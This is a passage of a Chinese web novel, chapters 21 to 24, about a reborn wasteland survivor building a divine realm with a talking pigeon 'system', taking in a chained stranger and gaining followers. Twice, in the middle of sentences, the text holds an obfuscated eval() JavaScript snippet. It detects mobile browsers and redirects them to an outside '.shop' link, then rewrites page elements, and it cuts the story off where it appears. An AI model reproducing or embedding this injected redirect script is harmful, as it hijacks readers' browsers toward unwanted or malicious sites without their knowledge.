沈奚静越念声音越大，猫胡子也越来越不敢置信，她匆匆浏览完纸条，异能者出众的记忆里已经全部记住了上面的东西。 但是她忍不住怀疑自己，自己现在真的意识清醒吗？ 不然为什么一个邪神眷属列出来的献祭清单里，光脑和床垫也就算了，竟然有一百个鸡蛋？ 到底哪路邪神会需要这些东西？这真的不是那个所谓的D主教中饱私囊，将自己想要的东西写了上去吗？ 可也没听过正经邪神主教，会向教众索要这些东西啊！ 21. 谁在敲门 【你聆听了部分[？？]的要素，对[？？]的感悟加深】 【新增神明成长路线，特质[？？？]解锁中】 怎么又是一堆问号，烦死了……等等，她为什么要说又？ 播报声渐渐远去，都郁揉着太阳穴坐起身，窗外一只巨型白鸽飞过，空中银月高悬，清冷的光辉洒在熟悉又陌生的小屋，好像行者离开多年又重回故居。 都郁摇摇脑袋，手指摸到后脑缠着的绷带，那变异兽把我脑子打坏了？ 腹中的饥饿很快战胜了莫名的伤感，都郁披衣起身，打算去整点食物。 “你差不多该醒了，来吃饭吧。” 女孩坐在屋前的篝火旁，脸庞一半被火光照亮，一半隐没在黑暗中，让她的五官蒙上了一层诡异的色彩。 都郁却无端觉得那张脸非常亲切，快走了几步，接过能毒死十头变异牛的黑红肉串，毫不犹豫地咬了下去。 口味不用多描述，都郁直接封闭五感，将这还在不停蠕动，发出亵渎之音的肉块大口咽下。 “噫，不管看多少次都觉得瘆得慌。”女孩搓搓胳膊，又忍不住好奇地凑上来，“这是全新出现的堕落种，好吃吗？” 都郁思考了一秒，冲她露出一个黑色的微笑，竖起大拇指：“肉质很好，还会爆汁。” “你说的我都想尝一尝了。” 女孩听的又恶心又向往，忍不住凑的更近，突然幽幽道：“其实，我在肉里加了东西……” “加了什么？”都郁完全不受影响的继续嚼嚼嚼，回怼道：“寂寞吗？” “哈哈哈哈哈哈哈。” 女孩乐不可支，俯在都郁肩膀上笑的肩膀都在抖，好半晌才正色道：“玩笑归玩笑，嘟嘟，你不可以太信任我们。” “？你又发什么癫？” 对上都郁嫌弃的表情，女孩脸上笑意渐消，看向月亮的方向：“你在养伤不知道，杨瘸子死了。” 杨瘸子，这明显是一个外号，而代号只有在指代谈话双方都认识的人时才会使用。可自己并不认识杨瘸子啊？ 都郁心生迷惑，但身体好像有自己的想法：“她死了？她不是刚完成异能进阶，这附近什么时候出现了高等级的堕落种？” 女孩摇摇手指，神色莫名，“谁说她是死在堕落种口下了？杨瘸子，她是被一个疯子生吃了。” “什么？” 如今早已过了食物紧缺吃人的时期，都郁瞳孔骤缩，心里不知为什么泛起不详的预感，女孩背对着月亮，面容模糊不清，“疯子最后死了，她在死前高喊——” “月亮骗了所有人，月亮吃了所有人，月亮就要成神了——” 女孩在黑暗中复述疯子的呓语，她死死攥住都郁的手腕，神经质般喃喃自语：“她是什么意思呢？月亮怎么会骗人？神明又是怎么回事？” 都郁脑中不详的预感达到顶峰，饭盆哐当摔落在地，大脑传来钻心般的疼痛，都郁一手捂住脑袋，一手捂住女孩的嘴，直觉告诉她不能让她再说下去，可女孩倏地消失。 都郁心中一惊，微微侧身，正对上一双闪烁着疯狂的琥珀色眼睛！ 女孩不知什么时候站在都郁身后，两只手牢牢抓住她的肩膀，俯身将脸贴在都郁耳边，像是解开了什么谜题，声音充满愉悦： “哈哈哈哈我知道了嘟嘟，我知道了！只有吃人才能成神，所有的神都吃过人！” 未知的力量涌出，都郁像是灵魂暂时离体，只能旁观，无法操纵身体做出任何动作。她感觉到脑袋被女孩一点点掰正，又向上抬起，愉悦的轻哼回响在耳边，是废土不知何时流传出的小调—— “一个月亮儿弯弯，一个月亮儿圆圆，一个月亮儿正正又方方～ “嘟嘟快看，今晚的月亮好美啊～” 在愉悦的歌声中，都郁的视线一寸寸上移，远处的房屋、浓稠的夜色、依稀几点碎星，以及—— 天空中间温柔散发光亮的，三个月亮。 · 都郁豁然起身，胸口剧烈起伏，瞳孔放大，下意识走出神殿小屋，怔怔看了半晌空中翻滚着的灰色雾气，意识中的惊骇才渐渐淡去。 “小……老板，今天起得这么早？” 田一诺打着哈欠，准备去厨房继续和变异兽肉搏斗，诧异地发现都郁正扶着墙，抬头一动不动地仰望天空。 都郁看着熟悉的荧光红，总算有了回到现实的实感，寒暄了几句，回到卧室，目光灼灼地盯着蹲在枕头旁的白鸽，挑了挑眉：“解释一下？” 她梦到的正是前世和同伴在某个基地生存的场景，但她依稀记得，那个说话很好笑的杨瘸子，是被堕落种攻击后重伤不治的，根本没有什么莫名其妙的疯子。在她的记忆中，那个基地很快就覆灭了，她和同伴之间也根本没有这么一场谈话！ “你窥探我的记忆？” 【咕，166才不会做这种事！】 梦中出现过的鸽子挺起胸膛，毫不心虚地大声反驳，在都郁越发危险的眼神中才解释了一句，【收纳那些特殊信徒会产生一些影响，这个梦就是其中之一。】 昨晚的灵界漫游对精神力损耗太大，都郁没等梦境结束就结束了漫游，意识回到身体的一瞬就陷入了沉睡。 醒来又被怪梦困扰，都郁还没来得及看昨晚的收获，闻言取出背包中的【美梦培养皿】，第一眼发现的是外观的改变。 【美梦培养皿】不再是梦境中普通的铁盆模样，而是像一个造型古朴的半圆柱鱼缸。暗红色的底座托着四面透明的琉璃，琉璃向上弯曲，棱角变得圆滑，浅紫色的雾气笼罩在培养皿顶端，将其中透明的液体染上淡淡的紫色。培养皿中，上百颗大小不一的光点起伏，像小鱼一般游动嬉戏。 166提示神国的环境更利于意识碎片的恢复，都郁顺手将培养皿放在床边的桌子上。不得不说，即使忽略掉它的功能，光看外表，这个培养皿也能算是一个难得的造型精巧的摆件。 “系统还能改变道具外观？” 166委婉开口：“咕，灵界不受物质界规律影响，合成物外观会受玩家潜意识影响。” 懂了，是说她没审美，培 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那古怪的梦竟然是预知梦？都郁神色古怪，既然是预知，为什么选取的偏偏是过去的场景？ 【你不喜欢这预知梦吗？】 166的感官竟然意外的敏锐，都郁顿了一下，又觉得没什么好隐瞒的，淡淡开口：“谈不上不喜欢，只是这梦……让我见到了很想再见面的朋友，温玺。” 【咕，这不是好事吗？】 都郁搓了搓鸽子头，压住心里涌上的惆怅。 梦中旧友重逢多快乐，醒来发现孤身一人时就有多怅然。废土生存不易，她跌跌撞撞过了三十年，有太多的遗憾，有太多人说了再见却再没重逢的可能。 大灾变降临时她正和大学室友聚餐，灾难降临得猝不及防，她和两个舍友合作杀了那只异种，之后的十多年都是她们三个人一起在废土上流浪。直到，温玺笑着死在她面前。 在一人生存的那最后几年，她很少说话，很少回忆，很少做梦，穿越后反而再见到了熟悉的脸。 只是这复杂的情感她无法跟一只鸽子解释，糊弄了几句后意识锁定培养皿上的紫雾，选定那个信仰自己的碎片，投放到培养皿中。 下一刻，都郁若有所感地打开信徒那一栏，也许是那碎片保存的比较完整，投放进去后信徒的数量由“12”跳到了“13”。 都郁却无暇关注，她的目光死死盯住信徒列表底端： 【信徒名称：温玺】 【信仰状态：狂信徒】 …… “扣扣。” “哼哼哼……” 田一诺哼着歌，费力地将肉排翻了个面，听到声音的第一时间愣了一下。 “扣扣……” “哐当！” 田一诺猛地后退，撞翻碗架，她却没空理会，慌里慌张地放下锅，狂奔向都郁的小屋： 啊啊啊啊啊啊啊啊！！小姐救命！！ 有人在敲门！！！ 22. 神殿来客 这里怎么会有人敲门？ 都郁瞥了眼装死的166，深吸一口气，按捺住心里翻涌的震惊和不可思议，走出小屋。 都郁刚站在院子里，就意识到一个问题，不由陷入了沉思：这个神殿除了几根立柱，剩下的都是帷幔，根本没有门怎么敲门？ “咕咕。” 166在田一诺惊讶的眼神中飞出，悠扬地落在祭坛旁的棕色圆盘上，大小刚刚好。 “神殿的空间和原本的小院是重叠的，有人在敲小院的门，声音也会传到这里的咕~” “原来这丑盘子是鸽子窝……这鸽子竟然会说话！” 田一诺和166面面相觑，都郁搞清了敲门声的来源，在心底质问系统： “不是说激活神殿的隐秘效果后‘神殿区域不可闯入、不可窥视，不受堕落气息沾染’吗？这个敲门的人是怎么回事？” 就算她现在有了十三名信徒，但虔信徒以上的只有两个，每天也只有40~50点信仰值，一天要吃12点的神殿已经很贵了，现在连建筑效果都不能保证？ 系统非常理直气壮，直接抛出三个反问：【现在神殿区域是被闯入、被窥视，还是被堕落气息沾染了？】 166的态度比系统好多了，它进一步解释道：“初级神殿只能掩盖与神明有关的气息，无法掩盖一些特殊物品。有一些‘嗅觉’过于敏锐的家伙就能闻着味找上来，但——” 166跳上祭坛，爪子勾住圆坛边缘，翅膀指向祭坛中间，一朵拇指粗细，不知何时出现的紫色火焰在雾气中燃烧，微弱得看似随时会熄灭，但都郁看着它漫上没由来的欣喜。 “但是神火已燃，神位既定，神明陨落前，没有人能强行闯入神殿。” 看来不管门外的是什么东西，都没办法闯入神殿，但一直龟缩可不是都郁的风格，她点开背包，查看她在灵界漫游的收获。 除了靠薅游戏羊毛合成的【美梦培养皿】，她此次的收获都要感谢大自然（佑时）的馈赠。 一颗昏级的【心灵】要素核心、一柄锈迹斑斑的铜镜、一片暗金色的未知金属碎片。 都郁依次把核心、镜子、碎片从背包中取出，只有取出碎片时敲门声顿了顿，敲击声由十秒一下变成了九秒一下。 急切了一点，但不多。都郁莫名觉得敲门人似乎也没有很想要这东西。 看来向外散发气息的特殊物品就是这东西了。都郁颠了颠手心中的碎片，要是其他东西还有商量的余地，这个嘛…… 都郁取出背包里的嗜血圣刀，碎片刚一贴上，刀身颤动，在愉快的嗡鸣声里那块同色的碎片融了进去。 果然，这片和她之前捡到的碎片是同一片！ 都郁颠了颠刀，虽然等级没变，但刀身像是剔出了什么杂质，颜色更变浅了些许，挥舞起来更得心应手了。 嗜血圣刀属性极其优秀，都郁是不可能把它抛出去的，她戳了戳166，“有什么能掩盖它气息的方法？” “咕，有，但现在的你做不到。” 166站在祭坛边缘缓缓踱步，“更简单的方法是升级神殿，升到中级就能掩饰你这把刀的气息了。” 升级神殿首先要升级祭坛，都郁想起之前获得的祭坛升级图纸，信徒数倒是满足了，C级的超凡材料现在也不难，3颗昏级要素她手里只有一颗。 而且升级完还要接着攒神殿的升级材料，远水解不了近渴。 都郁眯了眯眼，“如果我让他进来，神殿能压抑住他吗？” “初级神殿当然是没这个功能的。” 166用恨铁不成钢的眼神看她，切换到意识沟通【但这里是神国，是你的神国！你作为神明，有权制定你的规则。】 166话音落下，一道系统光屏在都郁眼前弹出：【请玩家为神国制定规则，当前可制定规则：0/3】 三条？够用了。 都郁试着写下“进入神国的人不可违逆她的命令”，果然被系统以“玩家暂时无法支付足额信仰点”的理由拒绝。 都郁敏锐捕捉到了“支付”“信仰点”两个关键词，果然，这游戏就不会有免费的功能。她删删改改，最后写下了三条规定： 第一、进入神国者，不能伤害聆听之主的眷属，无法损害神国建筑。 第二、进入者在神国的记忆受神明控制，在未得到神明允许前，进入者无法主动或被动透露这段记忆。 第三、只有神的信徒才能踏足神的国，进入神国者必须念诵□□。 规则一定，神国中、神国外试图进入神国的人脑中自然闪过明悟。 都郁本想着有了第三条，敲门者应该识趣地退出。毕竟这个世界神明与信徒的联系分外紧密，不小心被邪神注视的话很可能就会被直接扭曲成失去人性的怪物。 但凡是个正常人，但凡不是处在特殊境况，没有人会主动念不知名邪神的祈祷词…… “嘎吱——” 前方传出类似木门拉开的声音，一道陌生身影突兀地出现在角落，被帷幔蒙了一脸。 都郁看了眼变成“14”的信徒数量，又看了眼好奇地打量四周，好像没察觉到头上的帷幔越缠越厚的来人，总觉得……智商不太高的样子。 来人看身形是个成年男人，只是瘦得有点脱形，头发像是很久没打理过，乱糟糟地批在身后，刘海几乎要盖住眼睛。 除了一身囚服一样的蓝白条纹T恤和裤子，他身上什么也没有，光着的脚踝上，扣着一个造型紧密的脚铐，链条向后延伸了五米，一端消失在虚空中。 他鼻子动了动，看了一秒都郁刻意拿着的嗜血圣刀，头偏向另一端，牢牢盯住田一诺身后的小屋。 “呃……” 田一诺挠了挠头，看向身后，突然灵光一闪。 秉持着念了祈祷词都是同伙的态度，她猛地蹿回厨房，先给都郁端了一碗肉，又试探着递给来人： “你吃吗……” 田一诺话还没说完，手中一空，诧异地看着对方法低头闻了闻碗中的变异兽，然后张嘴，没见他怎么操作竟连带着铁碗一起塞到嘴里咽了下去。 “……谢谢。” 田一诺目瞪口呆地看着这一幕，来人吃下肉似乎多了几分活气，刘海下的眼睛亮起微弱光亮，她竟然意外读出了对方的心声——还有吗，再来点。 她抽了抽嘴角，求助般看向都郁。一两块肉她还是能做主的 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男人停了几秒，才像是想起了听到别人询问要回答，五个字磕磕巴巴地说了半天。 都郁眼珠一转，对方确实满脑子都是食物，但眼神中装满了渴望也没动手，她决定试探地更过分一点： “想吃肉可以，但要拿猎物来换。” “……猎、物？” “就是四周游荡的怪物。” 对方似乎很缺乏常识，听了都郁的解释却皱起了眉，“怪物……不能吃……痛……” 都郁神奇地理解了他颠三倒四的话，畸变怪物乃至堕落种当然不能吃，但她有合成游戏帮忙净化，自然不怕。 等等，对方的口吻怎么像吃过一样。 都郁怀疑地瞅了他一眼，“神明自有办法，你要是想吃肉，就拿猎物来换。” 男人不知道听没听懂，懵懂地点了点头，留恋地看了会儿厨房的方向，随便找了个方向离开了。 “他竟然真的走了？” 田一诺看着小姐三言两语把人忽悠走，她不知道事情的始末，只从自己的视角给出猜测：“主的新信徒……是不是脑子不太好？” 都郁看着前不久还和怪人心有灵犀的田一诺，目光慈爱地摸摸了她的脑袋，“你不用将精力浪费在动脑子上，你准备一下，今天我们吃烧烤。” 都郁不管166“怎么能在如此神圣的地方烧烤”的抱怨，麻利地在离祭坛稍远的地方摆好了烧烤架。 即使那个怪人一去不回，她今天也是要去打点肉回来的。灵界漫游消耗太大是一，她只吃了一天就受不了黑面包了是二，这玩意儿还不如蟑螂肉好吃！ 田一诺配合都郁在院中架好烧烤架，抬头时一愣，扯扯都郁的袖子，“小……老板，你快看！” 都郁闻言抬头，瞳孔微缩，小山一样的阴影正向神殿方向逼近！ 那“小山”是怪物的尸体，尸体依稀有几分大象的影子，却不知发生了什么畸变，体型膨胀了几十倍，移动间地面都在抖。 “小山”前方，正是那消失了没多久的怪人。他拽着什么，竟靠□□就把这小山一般的尸体一路硬拉了回来！ 23. 狗 在他进入神殿后，身后的帷幔抖动，那大的有些夸张的怪物一时没进来。 ？ 他疑惑地回头，手臂绷紧，就要靠力量硬把怪物拉进来。 都郁看着系统弹出的“超出初级神殿容纳范围”的提示，抽了抽嘴角。 好在神殿区域的物品她都有绝对的处置权，哪怕怪物只有很少一部分区域进了神殿了，系统此时也点亮了“分解”的按钮。 眼见帷幕抖动的范围越来越大，都郁迅速点了分解按钮，并在男人惊讶的眼神中直接用黑面包堵住了他的嘴。 有了吃的，他很快就忘了猎物神秘失踪一事，在火堆边坐下，一边盯着铁盘上的烤肉发呆，一边咬甘蔗一样地嚼着黑面包。 都郁点开背包中新增的“畸变兽肉（四目猛犸象）*535”，看着眼前的怪人顺眼了不少。 她在意念中呼唤166，“你分析得怎么样了，他到底什么情况？” 经由166提醒，都郁发现了神国的很多妙用。除了写在明面上的三条规则外，她还能从进入者的气息分析出很多信息。 ——甚至根据某个鸽子的饼，神殿升到最高级后，她还能像进入灵视状态那样，全面掌握神国里的动态。 不过现在神殿等级太低，她还必须借助166的帮助，才能分析出进入者身上的某些信息。 “咕~” 166在空中盘旋几圈，精准落在男人头顶，走了几步才站稳。男人眼珠上翻看了几秒，眼珠又转回去盯着烤架上的烤肉发呆。 【就是你看见的这样。】 166语气深沉，【这个男的……是个傻子！】 都郁：谢谢你啊，分析了这么久就得出这么个显而易见的结论。 许是都郁心中的无语浓到快溢出来，166不满地在男人头顶踱步，补充道： 【不是生理意义的傻子，是超凡领域的“傻子”！】 “超凡领域？是诅咒吗？” 都郁饶有兴趣地反问，第一时间想到了自己状态中的诅咒“苟且”。 【有点像，但不是。】 166哗啦飞到都郁肩头，翅尖指了指对面的男人，仗着对方听不到，在心声里大声吐槽： 【他现在连傻子都不如，傻子还只是智力较低，但他现在是整个人都处在压制状态，只剩下一点本能在活动。】 难怪这么呆，都郁心中吐槽一句，屈指蹭了蹭鸽子脸，“能看出是什么在压制他吗？” 【咕，神殿等级低分析不出来。 不过情况无外乎两种：一是有人通过某种手段，或堕落物控制他卖命；要么是他的异能太强，身体无法补足能量，就会降低基础器官之外的供给。】 也就是说他现在没有威胁？ 都郁回想着男人的一举一动，找了根干净的铁签戳了戳他，“你来这里的目的是什么？” 这试探不可谓不直白，但都郁现在搞清楚了，如果不讲直白点，他恐怕都听不懂。 “……他们，来，来，找这个。” 男人的注意力从烤肉上挪开，低头看着手看了半天，才像是终于想起来什么似的，手掌举起向外，一只手指了指掌心的图案。 都郁顺着他的视线看去，眼皮跳了跳，有些同情地瞥了他一眼：“你都不打他们吗？” 派男人来的势力似乎也知道男人的记性，在他掌心生生烙了一个奖杯一样的图案，旁边还写了一个“找”字。 男人像是回忆到了什么，表情都生动了不少，声音里染上委屈：“打不过，不听话，没饭吃。” 简单九个字说尽委屈，都郁的铁石心肠都动了动，然后，就没有然后，她继续铁石心肠地举起刀，盯着眼前的男人： “他们让你找的东西在我手里，你现在打算怎么办？” 男人懵懂地睁大眼，似乎在理解都郁的话，过了几秒，他将最后一截黑面包塞进嘴里，声音因咀嚼变得含糊，“吃，吃饭。” 好家伙，天大地大吃饭最大是吧。 都郁想起男人的战力，心里一动，拿出哄骗小孩的声音：“派你来的人都不让你吃饱的，你还不如跟我干。你每带回来一头猎物，我给你至少四块能吃的肉。” 听到吃肉，男人眼睛倏然亮起，又想起什么似的黯淡下来，指了指脚腕上的镣铐：“跑不了，时间到了，会，回去。” 这个东西能限制活动，并在一定时间后把人带回去？难怪那些人敢方向这么个傻子一人出门。 都郁在心底吐槽几句，示意田一诺给他添上一根面包，166哗啦飞过去，用翅膀扒拉了几下那根看上去普通的锁链，又跳到锁链消失的地方瞅了半天，声音里带了点惊讶： 【好恶毒的道具。】 “怎么，你看出什么了？” 166虽然有时候很怂，但超凡领域的知识很丰富，目前除了它不想说的，基本没有它不知道的。 166低头叨了铁链一口，链条“叮”的一声断裂，脚铐上光芒一闪，链条恢复如初，男人粉碎面包的动作一顿，吃完东西微鼓的脸颊又凹陷了进去。 都郁已经隐隐明白这东西的作用，166进一步解释道：【这东西应该是某个灯级堕落物的子体，会吸收宿主的能量反哺主体，受到损害后会加倍吸取能量修复自身。想要摆脱这种汲取，要么打碎子体，要么向主体屈服……】 不用166接着说下去，都郁都知道这两个选择恐怕都不会有好下场，看男人瘦的几乎和骷髅一样的身体就知道了。 而且，灯级？都郁心中一凛，小说世界对堕落物的研究比前世深的多，研究员根据堕落物的破坏力、污染力及危害，将堕落物分为六级，昏、烛、灯，后面的三级因太过危险，仅仅是了解就有堕落的可能性，原身记忆里只有后三级堕落种的统称——天灾！ 到了后三级，堕落种已经不是人力所能抗衡的，祂们仅仅只是呼吸就有可能对人类造成天灾般无力抵抗的伤害！ 天灾之中，人类皆为蝼蚁！而天灾之下，最强的就是“灯”！ 都郁盯着眼前的男人，越发感兴趣起来。这人到底有什么秘密，才会值得用一个“灯”级的堕落物去控制？ 更重要的是，这说明背后那个势力非常重视他，而那个势力想要找到的东西，恰好有一部分在她手里。 都郁露出一个和善的笑容，给男人加了一块烤肉。因为短时教不会他用餐具，她还特地做了几个好消化的木碗。 到了她手上的东西，她不想给谁都抢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13377227|139734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不走。都郁目光落到锁链上，既然那个势力那么看重他，她就要给他们添添堵： “166，以锁扣为单位合成的话，需要消耗多少点数？” 虽然说是游戏，但这游戏在某些方面非常灵活。一头野兽，以野兽为单位的话，需要三头野兽才能合成。但以兽肉为单位的，一头野兽可以合成好几次。 现在这根链条就是这样。虽然链条只有一条，但这链条是由横竖锁扣相连构成的，都郁用锁扣为单位，就能成功合成。 当然，材料越高级，合成出高等级合成物的概率越高。但如果都郁的目的只是破坏锁链的话，那合成出什么东西完全不重要，只要能合成，破坏锁链就行。 【玩家还真是……有创造力啊。】 166在都郁危险的眼神中迅速改变了形容词，哗啦飞到男人头上： 【咕，即使只是子体，但依旧具有部分灯级堕落物的特性，合成需要消耗的点数会很高……166有个更好的办法哦。】 都郁顺着166指的方向看去，看到了一个意料之外的事物，惊讶地挑了挑眉，“你是说，神火？” 【没错的咕~】 166在祭坛上徘徊，六只翅膀在紫火的映照下宛若透明，声音依旧是冰冷的机械音，听上去却多了几分蛊惑和神秘： 【他现在也是您的信徒，他的一切自然都归您所有。在真正的神明面前，一个小小的灯，又敢多说什么呢？】 …… 逐日之城，一栋高楼底部，灯光明亮得有些过分，穿透一间间四面都是玻璃的隔间，找的里面的人几乎要合不上眼。 一行人行色匆匆地穿过玻璃隔间的小径，无视关押人的谩骂哭喊，一路来到最深处。 最深处的隔间与其他处不同，玻璃墙加厚了几倍不止，墙里墙外布置了大量检测机器。 最深处的那个隔间玻璃墙加厚了三四倍，屋顶的强光灯加了三个，角落里也都是灯，就连地面都安了三个。 强光灯全都直直照着中间，一个人生死不知地躺在那里。 锁链紧紧缠绕着他的脖子，躯干，几根灰黑色的链条穿透了他的四肢，脊柱，牢牢地将他钉在地上。鲜血缓缓从伤口中涌出，又被链条吸食般消失。 来人戴上特质墨镜，看了眼玻璃房中死活不知的人，不感兴趣地挪开，看向旁边一直低头操作的人： “集团那边催的很凶，有线索了吗？” “显然，狗的鼻子不是什么气味都能闻到的。” 那人耸耸肩，在仪器上操作几下，调出画面：“裂隙那边最近似乎很活跃，派出去的人疯了死了不少……喏，你看，连小狗都折了一条进去。” “能确认分身是死了吗？”来人忌惮地看了眼玻璃房的方向，“毕竟那可是……” “哈哈。”研究员毫不客气地嘲笑两声，指了指玻璃房中生死不知的人形物： “只有分身死亡才能摆脱【铁寄生】的子体，我知道你谨慎，但不管过去是什么起义军的领袖，他现在，哈，一条垂死的狗而已。” 无人能看见的角落，男人锁链下的眼珠转了转，如死物般暗淡的珠子似乎有了些神采，枯寂如死水的意识中传来些许波澜： 聆听之主…… 24. 终末的残响 第二十四章 “哗啦！” 紫色火焰暴起，沿着铁链一路烧到末尾，甚至在都郁的感知中一路烧到了虚空！ 男人没管噼里啪啦燃烧的锁链，低头安静地粉碎面包，只是像感受到什么，突然抬头看了天空一样。 都郁心念一动，也看向同一个方向，那里虽然同样是灰雾缭绕，但她却隐隐感到，灰雾之后，有一点熟悉的意识正在游走。 是顺着铁链烧过去的神火？ 随着明悟的升起，都郁心底涌出喜悦，激动，满足，她隐约看清了火焰传回来的画面： 粘稠的黑色液体在海里翻涌，贪婪地舔舐着浸泡在其中的铁质棺材。 有的铁棺材浮在海绵上，表面光滑，只有些许划痕；有的铁棺材几乎整个都浸泡在黑海中，露出的棺材顶锈迹斑斑；也有的棺材漂浮在海面上，只是棺盖不翼而飞，里面灌满了黑丑的液体。 一座将沉不沉的棺材漂浮在海面，紧扣的棺材盖突然开了一道小缝，没等黑液欣喜若狂地涌入，一簇不起眼的紫色火苗从中跳了出来，主动跳进贪婪涌动的黑液中。 “铛。” 缝隙消失，棺材重新变得严丝合缝。来晚了的黑液失望地撞在棺材侧面，滑到深处要一齐吞噬那散发美味气息的紫焰。 “哗啦。” 黑液涌入小火苗中，火苗像是即将熄灭般摇晃起来。更多的黑液接连涌入，眼见那小火苗被压到最低，好似下一秒就要熄灭—— “轰”的一声，小火苗猛地膨胀了上百倍，附近的黑液来不及抵抗，火焰扩张的一瞬间就被炼为精纯的能量，投入到火焰核心中。 黑海上空，紫焰不断吞噬黑液壮大自身，不过瞬息就扩张成一道数百米高、不断向外绵延的火墙，如鲲鹏羽翼般拂过大半海洋！ 紫火烧过之处，黑液尖叫着挥发成一道道有毒气体，海平面以肉眼可见的速度下降了一大截。 原本沉在黑海中渐渐腐蚀的铁棺材浮出水面，顽固的铁锈被炙烤为黑灰，棺材渐渐缩小变形，如一颗颗紫水晶般漂浮在清澈了不少的海面上。 紫焰传来的能量越来越多，二十多年没感受过饱腹感的都郁摸了摸肚子，竟然有种吃撑了的感觉。 除了少部分能量涌入四肢，大部分能量都传向精神空间，不断涌入其中好像无底洞一般的黑洞中。 那黑洞到底不是真的黑洞，随着海量能量的涌入，它不仅不再吞噬都郁的精神力，还在以肉眼难以看见的速度缓慢缩小。 缩小到一半时，不管能量如何涌入，那黑洞都不再缩小，而是像吃撑了一样，形状拉长，上尖下圆，看着，像一个铃铛？ “铃铛”成型后，黑洞大小不再改变，质地却变得凝实，像是由一团虚无的空气，逐渐凝练变成液体，液体再逐渐变得粘稠，直到趋近固体。 【叮咚，特质[？？？]已解锁，特质[？？？]融合中，融合进度：50%、53%……】 弹窗上的融合进度条最终停在“66%”，“铃铛”只有中间的撞珠彻底变成了固体，如紫水晶般微微折射着光。 “叮叮叮——” “铃铛”无风自动，声音清脆幽远，音波如有实质般拂过精神力海，一圈一圈宛如绽开的莲花。 精神力海在铃声中不断翻涌，无色的能量似乎都染上一点淡淡的紫色，精神力总量没有增加，但都郁却觉得精神力攻击力翻了数倍，像是跨越了一道看不见的屏障，精神力有了质一般的提升。 “嘭——” 都郁注意力瞬间回到紫焰那边。 在紫焰吞噬了接近一半的海面时，黑海似乎终于发现了闯入者，咆哮着发起攻击。 在发现普通的侵蚀、冲击、寄生等手段无法起效后，剩余的黑液凝聚成手掌般的样式，将紫焰，连同被紫焰烧过的棺材、液体一起轰到天上！ 紫焰燃烧了片刻，就要张牙舞爪地冲下来。就见紫焰与黑海间的空隙中，忽然弥漫起淡淡的灰雾。 那灰雾转瞬间变得浓稠，紫焰迟了一秒，已然找不到黑海的位置，只能不情愿地烧掉剩余的液体。 那“黑海”竟像活物一般跑路了！ 都郁眼角一抽，道了声可惜。她心神一动，扭过身，只见祭坛上骤然窜出一团火焰。 那紫焰原本拇指粗细，顺着链子烧了一趟，回来时已经有篮球大小。燃烧时噼里啪啦的，像是得胜后耀武扬威的将军。 感受着体内充沛的能量，都郁真诚地夸赞了紫焰一番。眼前的火焰像是听懂了，又猛地窜上来一截。 “咦。” 都郁神情一动，火焰暴涨的一瞬，她的感知也无限扩张，她似乎看到了一个神秘空间：空间顶部悬挂着一个围绕着雾气，看不清楚形状的铃铛。雾气中，隐隐约约能看见16颗星星。 星星有大有小，随着都郁的注视，一颗颗星星上的信息浮现在她脑中：温玺、田一诺、沈奚静…… 这些“星星”是她的信徒？都郁若有所感，被“踢”出了那个神秘空间，脑中闪过一丝疑惑：信徒数量怎么多了两个？ 她看向三个陌生的名字：寇清怡、寇清曼，%*&#￥（划掉）001。 前两个陌生名字看着像有联系，都郁顺着精神空间里增加的联系看了过去，顿时明白这两人是从哪来的了。 那黑海似乎有吞噬人类灵体的作用。紫焰焚烧黑海时，不仅将精纯的能量带了回来，还顺手“捡”了几个黑海中的灵体回来！ 其中，有几个灵体侵蚀程度不深，黑海留下的污染被烧掉后就自动回归了身体，有几个侵蚀程度太深的，紫焰将她们带出也只能算给了她们一个痛快，很快就消散在了灰雾中。 只有寇清怡、寇清曼两姐妹，被黑海侵蚀过深，但还有救，紫焰就顺溜地烧掉了黑海的污染，将两人给都郁“捡”了回来。 “166，她们没有祈祷，为什么会变成我的信徒？” 【咕，所谓信徒，就是仰慕神的权能，自愿向神明献祭一点灵性，灵体深处藏有通向神国阶梯的凡人。 祈祷并不是成为信徒的唯一途径，只是凡人未开七窍，目聋耳瞎，唯有通过指涉神明的祈祷词，微薄的灵性才有可能链接到神明。】 “所以她们俩的情况，是在没念祈祷词的情况下，向我献祭了灵性？” 【没错！她们俩灵体不全，[铁寄生]已经夺走了她们的灵性。神火虽然驱逐了污染，但被夺走的灵性无法退回，她们的灵性又被神火献祭给了你，所以她们的信仰就转向了你。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13389535|139734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 】 都郁眼前一亮，如果这么说，那自己岂不是能从【铁寄生】那里薅更多的信徒？ 想到已经跑路的黑海，她也不失望。迷雾裂隙里别的都不多，就垃圾和怪物多！没了黑海，难道她还找不到紫海，蓝海吗？ 感应到两姐妹正在昏睡，都郁不打扰她们，断了链接，突然想起什么：“信徒像我祷告就是献祭灵性的话，灵性缺失会不会对她们产生影响？” 尤其是田一诺，本来就傻，现在还天天祷告，真要有啥后遗症她之后日子还咋过？ 【不会的咕，我们是正经神！】 白鸽落到001头上，骄傲地挺起胸膛，【灵性和精神力一样，是会自动回复的！向玩家献祭灵性，灵体将会得到玩家的保护！只有邪神才会无休止地向信徒索取灵性！】 “灵体和灵性是什么关系？” 都郁捕捉到166话语中的关键词，这些都是她前世不清楚的概念，之前166也提过，只是没找到时机提问。 【咕，玩家认为，人的灵魂是由什么构成的？】 